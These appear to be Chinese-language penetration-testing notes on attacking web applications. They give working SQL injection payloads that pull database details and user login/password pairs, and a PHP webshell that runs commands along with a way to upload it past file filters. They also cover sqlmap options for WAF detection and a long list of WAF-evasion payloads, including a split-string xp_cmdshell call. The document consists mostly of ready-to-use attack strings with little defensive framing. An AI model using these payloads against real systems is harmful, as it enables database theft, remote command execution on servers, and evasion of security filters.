• 使用UNION进一步注入:union select(Oracle使用union select null,null代替1,2)当列数目不对时,会有错误提示

  • 使用order by语句,当order by的列<=SQL语句的列数目的时候,查询正常.

  • 手工注入一:

    • 使用union select查询,查看新增内容,从下图可以看出,列2的内容是可以被输出到页面上的,所以下面的查询我们都将使用列2

    • 查询数据库信息,使用@@version替代union select中的2

    • 查询数据库使用者信息,使用current_user()替代union select中的2

    • 查询当前数据库名,使用database()代替union select中的2

    • 查询用户名和密码(以下功能只在MySQL5.0版本及以上版本才有*):

      • 查询当前数据库所有表的表名:SELECT table_name FROM information_schema.tables
      • 查询当前数据库所有表的列名:SELECT column_name FROM information_schema.columns
      • 结合两者的查询结果:SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns
      • 使用concat函数将表名和列名连接成一个字符串,并且两者之间用‘:’分隔,之所以要这么做是因为我们只有列2才能输出到web页面,其他列的内容无法显示,否则可以直接使用SELECT 1, table_name, column_name,4 FROM information_schema.columns的方式,这边的使用方法取决于第二步的结果
      • 查询数据库使用者的用户名和密码:SELECT 1,concat(login,':',password),3,4 FROM users
  • 有注入漏洞的网站获取网站的后台用户名和密码后破解登陆后台,然后在有上传的地方上传木马

  • 上传Webshell并执行代码

  • 使用后台提供的上传图片功能上传WebShell(这边可以上传一句话木马然后使用菜刀连接)

  • 修改WebShell后缀来绕过上传限制(.php3或者.php.test,这边是利用Apache解析漏洞实现绕过)

  • 新建一个Webshell,内容如下:

    1
    2
    3
    
    <?php
    system($_GET['cmd']);
    ?>
    

    ``

  • 查找上传文件的路径(一般通过抓取返回包来获取上传地址,有时候抓包无法获取的情况下,就要寻找其他方法,火狐的抓包插件Tamper Data),这边先单击图片管理然后单击test标签

  • 在图片上右击查看页面源码,找到图片路径

  • 下面的语法可以用来注释语句:

Myql注入相关

|符号|内容
|:--:|:--:|
|#|Hash语法
|/*|Ctyle语法
|\- -|SQL语法
|;%00|空字节
|`|反引号
  • 表和字段:

    • 检测字段数:

      1. ORDER BY判断
      2. 基于错误查询
    • 查询表名:union 盲注

    • 查询列名:union 盲注

    • 绕过引号限制:

    1
    
    SELECT * FROM Users WHERE username = 0x61646D696E ### SELECT * FROM Users WHERE username = CHAR(97, 100,   109, 105, 110)利用CHAR()函数
    
    • 绕过字符串黑名单:使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。
    • 条件语句
    • 时间延迟查询:sleep() benchmark()
  • 权限:

    • 文件权限:下面的语句可以查询用户读写文件操作权限:
    1
    
    SELECT file_priv FROM mysql.user WHERE user =   'username';`;`SELECT grantee, is_grantable FROM   information_schema.user_privileges WHERE privilege_type = 'file' AND grantee   like '%username%';
    
    • 读取文件:如果用户有文件操作权限可以读取文件load_file()
    • Mysql特有的写法:MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */当版本号大于等于该数字,SQL 语句则执行,否则就不执行。
    1
    
    SELECT   1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
    
    1
    2
    
     - 括号也可以用来绕过过滤空格的情况:`UNION(SELECT(column)FROM(table))`
    
    

攻击JavaWeb应用:

  • Java中的JSP里边有个特性直接request.getParameter(“Parameter”);去获取请求的数据是不分GET和POST的,而看过我第一期的同学应该还记得我们的Servlet一般都是两者合一的方式去处理的,而在SpringMVC里面如果不指定传入参数的方式默认是get和post都可以接受到。
  • 刷新session文件:参数--flush-session如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
  • 自动获取form表单测试:参数--forms如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
  • 忽略在会话文件中存储的查询结果:参数:--fresh-queries.忽略session文件保存的查询,重新查询。
  • 使用DBMS的hex函数:参数:--hex.有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
  • 启发式检测WAF/IPS/IDS保护:参数:--check-waf.WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试
  • 清理sqlmap的UDF(s)和表:参数:--cleanup.清除sqlmap注入时产生的udf与表。
  • 使用HTTP参数污染:参数:-hpp.HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。
  • 测试WAF/IPS/IDS保护:参数:--identify-waf.sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别
  • 启发式判断注入:参数:--smart.有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。
  • 当order by的列<=SQL语句的列数目的时候,查询正常
  • 确认SQL语句使用的列数(union select的列数目要和select语句的列数目一致,否则会报错)

SQL注入中的WAF绕过技术

  1. 大小写绕过
  2. 简单编码绕过:比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。
  3. 注释绕过:这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询。/?id=1/*union*/union/*select*/select+1,2,3/*
  4. 分隔重写绕过:适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果。/?id=1+un/**/ion+sel/**/ect+1,2,3--;至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。?id=1 ununionion select 1,2,3--
  5. Http参数污染(HPP):/?id=1 union select+1,2,3+from+users+where+id=1--;我们可以重复一次前面的id值添加我们的值来绕过,**&id=**会在查询时变成逗号: /?id=1 union select+1&id=2,3+from+users+where+id=1--具体分析的话就涉及到查询语句的后台代码的编写了。
  6. 使用逻辑运算符or/and绕过
  7. 比较操作符替换:包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过。
  8. 同功能函数替换
  9. 盲注无需or和and
  10. 加括号
  11. 缓冲区移除绕过

绕过Waf

  1. 各种编码绕过:

    • URL编码绕过
    • Unicode编码绕过
    • 针对disuczx内置_do_query_safe()的绕过
  2. 最新过狗:

    • 把空格使用/**/来替换
    • and使用a%n%d来替换
    • from打乱,就是类似f%u0072om
    • agent代理:使用百度或者是谷歌的agent代理(googlebot,Baiduspider)
  3. 拆分关键字绕过:cnseay.com/1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)

  4. 请求方式差异规则松懈性绕过:

    • GET /id=1 union select 1,2,3,4 —拦截
    • POST id=1 union select 1,2,3,4 —绕过
  5. 冷门函数/标签绕过

    • /1.php?id=1and 1=(updatexml(1,concat(0x3a,(select user())),1))
    • /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));